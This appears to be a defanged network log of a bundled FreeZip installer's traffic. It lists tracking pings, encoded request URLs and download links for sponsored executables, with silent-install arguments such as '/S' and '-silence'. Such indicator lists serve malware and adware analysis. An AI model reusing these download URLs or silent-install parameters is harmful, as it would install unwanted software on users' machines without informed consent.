hxxp://d3597u0ojlpfu1.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.202.192
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d3597u0ojlpfu1.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/sponsored/sourceapp/eula-sourceapp.html	54.230.202.192
hxxp://www-google-analytics.l.google.com/ga.js
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.2&utms=1&utmn=1780777469&utmhn=bi.bisrv.com&utmhid=1344975662&utmr=-&utmp=Installer_Init&utmht=1422581246828&utmac=UA-31676879-1&utmcc=__utma=1.1033541308.1422581247.1422581247.1422581247.1;+__utmz=1.1422581247.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=387419954&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://mirror.frogdownload.com/software_files/freezip/9_20/FreeZip920.exe
hxxp://mirror.frogdownload.com/software_files/freezip/freezip.png
hxxp://d3597u0ojlpfu1.cloudfront.net/affiliates/filesfrog/eula.html	54.230.202.192
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.13565886237683544
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=1&index_in_screen=1&index_in_session=1&0.017026396957725287
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.19766297172187003
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=2&index_in_screen=1&index_in_session=2&0.122616761355617
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.47959597492764183
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=3&index_in_screen=1&index_in_session=3&0.3575086845663361
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.33088044648240255
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=4&index_in_screen=1&index_in_session=4&0.4668678949141275
hxxp://installer.betterinstaller.com/downloader/network_adworkmedia_1/freezipwepv/c6f36ae09f7b3c4993073c407a485e5f?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=c6f36ae09f7b3c4993073c407a485e5f&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=2&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=2&offers[sourceapp_b2b][exec_args]=/np 1 /is smp1ua &offers[sourceapp_b2b][offer_indexes][slot_number]=3&offers[sourceapp_b2b][offer_indexes][index_in_screen]=1&offers[sourceapp_b2b][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process /run_bi&offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=554f1a32df4546428c4cd4ba3636f283&uid=c6f36ae09f7b3c4993073c407a485e5f&tokyo_csrf_key=19707e0c3d2d1cf3ffbde487a2b892a9&tokyo_csrf_timestamp=1422581274&ffInstalled=false&dfz=false&affid=network_adworkmedia_1&sid=freezipwepv&country=UA&hostBrowser=ff&unique_id=7e067d4730d1830d0b187fc9d5748bbc
hxxp://installer.betterinstaller.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://installer.betterinstaller.com/installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[mystartsearch][exec_args]=-silence -ptid=smt &offers[mystartsearch][offer_indexes][slot_number]=2&offers[mystartsearch][offer_indexes][index_in_screen]=1&offers[mystartsearch][offer_indexes][index_in_session]=2&offers[sourceapp_b2b][exec_args]=/np 1 /is smp1ua &offers[sourceapp_b2b][offer_indexes][slot_number]=3&offers[sourceapp_b2b][offer_indexes][index_in_screen]=1&offers[sourceapp_b2b][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process &offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=554f1a32df4546428c4cd4ba3636f283&uid=fc5acaef92544d4d9ad600d2a201e613&tokyo_csrf_key=d36876f94bd16d195f4550b10dcae92b&tokyo_csrf_timestamp=1422581275&ffInstalled=false&dfz=false&affid=network_adworkmedia_1&sid=freezipwepv&country=UA&hostBrowser=ff&unique_id=7e067d4730d1830d0b187fc9d5748bbc
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=1&index_in_screen=1&index_in_session=1&0.6563418337282366
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=mystartsearch&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=2&index_in_screen=1&index_in_session=2&0.16973740042975754
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=3&index_in_screen=1&index_in_session=3&0.5805198771386675
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=4&index_in_screen=1&index_in_session=4&0.8375898049041111
hxxp://d3jzfk5p2hpev1.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.202.80
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe	54.230.200.14
hxxp://ddxz5sd9q11xc.cloudfront.net/mirror/mystartsearch/default/setup.exe	54.230.200.249
hxxp://d2gv7sxh1xary4.cloudfront.net/install.ashx?e=/Fcwh0Xd/M1iZHP23jXoQrMRgl08r6l0Go2IC1I9YLkCYZqti6uVFio96KQrvxHzFtz73aJdyQ 7OBNGMEkGUC0cTvbqczOhBcNlKj6q F5x1QZiJL1PeOb16kt4KYXNWPowBg89VjfmuzdwyvBFpOw7wxZ0rOEF7kya2DQtiCrPuJP0oXNMGUoUZ8uSwLjwK1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8nsYTwVLnU/n42sTQmsQPwkgwB44/hE3WY3hJO7Y2KlJohmqfz4qG /vt4TSnxe7XfOtZBqFf7bsV84h2PoRfCK6gUQMjUbAKu5ANb0gKAVdW2lrxF8GR/jrXqNtnRHDA4fqZ6AO5KFFPYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW ax5eone962k6MvW5qG/cSo=	54.230.202.13
hxxp://ddxz5sd9q11xc.cloudfront.net/t.ashx?e=QHucCbLl /ZGgpLO6W5H3sNTnuyhzCsUUwwA54 iRFR4E7mrr1h80tKpcmBYCD2f3Wq7IsWCDz6hohMymAE8VtaoPZj94HyTXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7Ye9UEEkdnkbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q==	54.230.200.249
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=kUynm8L6UyvSR sqobBJuRhBZuOYR 9mQF3UKsSdb2t7HO4WybUyRxjtTCDxth49N X1/ea0HoOzFxDz6oj2mAqR2XPWVGh jCDsw4o/xYUAvnawhe3hfp45jy0xQSUx2dEgSay2qahLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=kUynm8L6UyvSR sqobBJuRhBZuOYR 9mQF3UKsSdb2t7HO4WybUyRxjtTCDxth49N X1/ea0HoOzFxDz6oj2mAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19V2/M8jJQIzSdP2 XN2u718hQC drCF7eF njmPLTFBJTHZ0SBJrLapqEsFB7attMxqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1IxZwrgPFjw7IN4bCnFSYHcJAB6qUSUuCWLBycTq9GrVu8irurdk29vZflhPGPBn Q==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VhbLQkgupc9u/QElqGjn9p9CUHeR8YCF3sp NWI2cIlsE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuwY2gVbwUtO/dLDOhlsLDRqJrGg0EPq40d5fdbesSR0GxZmOuRPmKObSJGWd2CgPQ=	54.230.202.192
hxxp://ddxz5sd9q11xc.cloudfront.net/ytai.exe	54.230.200.249
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=1&index_in_screen=1&index_in_session=1&0.371271973542838
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VFkiwkU6sVsYuLQICPnQX0SmF904v4t2D4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJqXyjeXDsJMJqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tSMWcK4DxY8OyDeGwpxUmB3CQAeqlElLgliwcnE6vRq1bvIq7q3ZNvb2X5YTxjwZ/k=	54.230.202.192
hxxp://a1049.d.akamai.net/sd?is=sm
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19Ve0/HVt76ZjAUAvnawhe3hZ317vI6orBfXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62EATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7BjaBVvBS0790sM6GWwsNGomsaDQQ rjR3l91t6xJHQbFmY65E Yo5tIkZZ3YKA9A==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19Vqd4zZ7hmf0AjPAY6BOK aI4G r 3F6T7V/KjEEWYKZs//X7CkDuPsrumj6K0eW/0JXOJugCS3crYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN/JMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWstuVUSQ9G23	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VQy3/vmu1URAUAvnawhe3hcica6AIPAez7kya2DQtiCrPuJP0oXNMGY8dGiFiw2ki4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlPFlSG/I5 td1/wd96rWPUrcVkVwS54Va8BZ/mSIx342ns16QeGHmcg==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19V2Rko0jTI4S7Vw12R6ofm/Y8iQvDAJnGKH8qnmCyK7v7JBTPp2F5gxC Mhrkq09y/A2uu7zQQkK33iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0Zhyw4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19Vx5kiKceVrSAAWRkI6Uocf9CUHeR8YCF32aiujnEdaD2RHLN7I11j c7I0Xy20VFhZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKChr8gdm92vo7IQuZjicrqKlmYK5OMGoOmVI9bzsbYy5hhlrkvZV2xQ==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VQy TvLH5SNftN2kzF 5WqbPiCC4paVhd7txZncMHn06ScJu8C7yBqpe/jFqE4L9XD4NyULog6KHAsvlBgzvTh6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tSMWcK4DxY8OyDeGwpxUmB3CQAeqlElLgliwcnE6vRq1bvIq7q3ZNvb2X5YTxjwZ/k=	54.230.202.192
hxxp://ddxz5sd9q11xc.cloudfront.net/yta33_sh_full.exe	54.230.200.249
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VmEkFygc5PV l8LS18/7YS7PiCC4paVhdkXULeZU16opFpTldfxcKbOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZTxZUhvyOfrXdf8Hfeq1j1K3FZFcEueFWvAWf5kiMd Np7NekHhh5nI=	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VAhTD7v1xeC4pGvADS7bOhjDg9SakjfpthzGuRPC12F0Io3Hxsp018NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29px WWFOeQ838kwZ2Lr9ocdj6afjeK5fDhR5vAG pvdOYocaijIvIVay25VRJD0bbc=	54.230.202.192
hxxp://ddxz5sd9q11xc.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe	54.230.200.249
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19V1nZT UXyB8cE8SFHLIEPsOit9OsprAChdn2Gh86QFqgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuwY2gVbwUtO/dLDOhlsLDRqJrGg0EPq40d5fdbesSR0GxZmOuRPmKObSJGWd2CgPQ=	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VSMShYYQCF9/JscN vLrCo6Y7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsOBfHqErb4VGSixjOMNlnu//21OmrPJaED3PfUjq/T3oicrVemMrXWg==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=qIQu8 l0/f3SR sqobBJuRhBZuOYR 9mQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3cbDKHWlnj6FJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhkQ73BTTTKuq0SVeSAj4Vj/u6z7Uinv/iM8USjsjRaRkCN9h bV19VHjGYjGl0N5sE8SFHLIEPsM3UKcKGG9ndxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98WjDAtvxZltJ4G3ePEH1pqmQI3MGgyDDppWuCWL1pPgkADCkh95qlw==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=1ZEnpGuz/ISSsSz5Gin3VjtwOqvEtO32VTErbptxeFn8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTINHH/fCjamjshC5mOJyuoqWZgrk4wag6ZUj1vOxtjLsCmnQAndzgRhJsqiS fULSeY/e3xqcYN zjNK4UzrYRLhu0b45kiT/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YM8Lp0Bjzny5rNm0VSYuTZTqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1IxZwrgPFjw7IN4bCnFSYHcJAB6qUSUuCWLBycTq9GrVu8irurdk29vZflhPGPBn Q==	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=P5c0s7lb4RzSR sqobBJuaYM6J9TpnwQQF3UKsSdb2t7HO4WybUyR/m/2IS/cNj016DF6agZ2H3cL BpjzgQcHf1ws7XaD2yRYhZSGl8ahHJscN vLrCozg0PJKmtjhbnF8rmHTkMqFIOi3yA1xYQYghywxFINBPkQNNlxZxdK5J4G3ePEH1pqmQI3MGgyDDppWuCWL1pPhgLIznAwqidPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic=	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/p.ashx?e=P5c0s7lb4RzSR sqobBJuaYM6J9TpnwQQF3UKsSdb2t7HO4WybUyR/m/2IS/cNj016DF6agZ2H3cL BpjzgQcHf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf76FH7kvYlvRqM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf	54.230.202.192
hxxp://ddxz5sd9q11xc.cloudfront.net/t.ashx?e=XJYuqQQo69e7kz6lYX7QXjtwOqvEtO32dxAUVrEP9Zv8ln8Iap23//2TEkHeJNDUNLVXkHqu5mu/uXZTGtsiaqT5i7QP1JS WLazpewXw1jXt7qcDfFhJwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y	54.230.200.249
hxxp://d2gv7sxh1xary4.cloudfront.net/install.ashx?e=jmtNUPm9rtliZHP23jXoQjnqoWKEV1aLm3FtbE0ZZbah6SLQlmMaU n78D 7rWMRxtD0z/yErQDEghalM8RLiuaQQreoGIqq74VmMl1S1eSrJhv0HKSN7fI2lN9tDRbVkdht9YBbn9NoW7mKnZ2EeHpRzM4tyPZ3ut3XEYPNrJ9roVBVYO5MhLUc4qeQHCoOK1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8nSjT4MUPxEN8VoiNE897smluapicxF0Xfd8gCLt/aoup5xWkDFBX92v3E3QyoSImMK1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8nsYTwVLnU/n42sTQmsQPwkgwB44/hE3WY3hJO7Y2KlJohmqfz4qG /vt4TSnxe7XfOtZBqFf7bsV84h2PoRfCK6gUQMjUbAKu5ANb0gKAVdW2lrxF8GR/jrXqNtnRHDA4DzNDEy52qtOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEY22HuccM6FSsGNoFW8FLTv3SwzoZbCw0aiaxoNBD6uNHeX3W3rEkdBsWZjrkT5ijm0iRlndgoD0	54.230.202.13
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=lOCrbsNL2zXY n Drgf83ORCMlh3l5QDoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlXJMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWukn/2 DHs68LnCMwJJTkXqhQNbb34rcpqMD8Jh9T0mMdfeQRNwvtN90js0 pge/oATxIUcsgQ wQ1V8jD1/9CmmiwBN87iCfPEiQPnfm1ghee7n4Z39v5CM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUsWGsYCKwHQURGBHjL6trWWuoqLBTIHbDYFOvNCjqJ4ixpgFHEPv9T4	54.230.202.192
hxxp://d3597u0ojlpfu1.cloudfront.net/21714.ashx?e=lOCrbsNL2zXY n Drgf83ORCMlh3l5QDoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlXJMGdi6/aHHY mn43iuXw4UebwBvqb3TmKHGooyLyFWukn/2 DHs68LnCMwJJTkXqhQNbb34rcpqMD8Jh9T0mMdfeQRNwvtN9j/dHB7BZT3ABZGQjpShx/0JQd5HxgIXdABmFtdiJe0RFBvYhjCj9O4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlPFlSG/I5 td1/wd96rWPUrcVkVwS54Va8BZ/mSIx342ns16QeGHmcg==	54.230.202.192
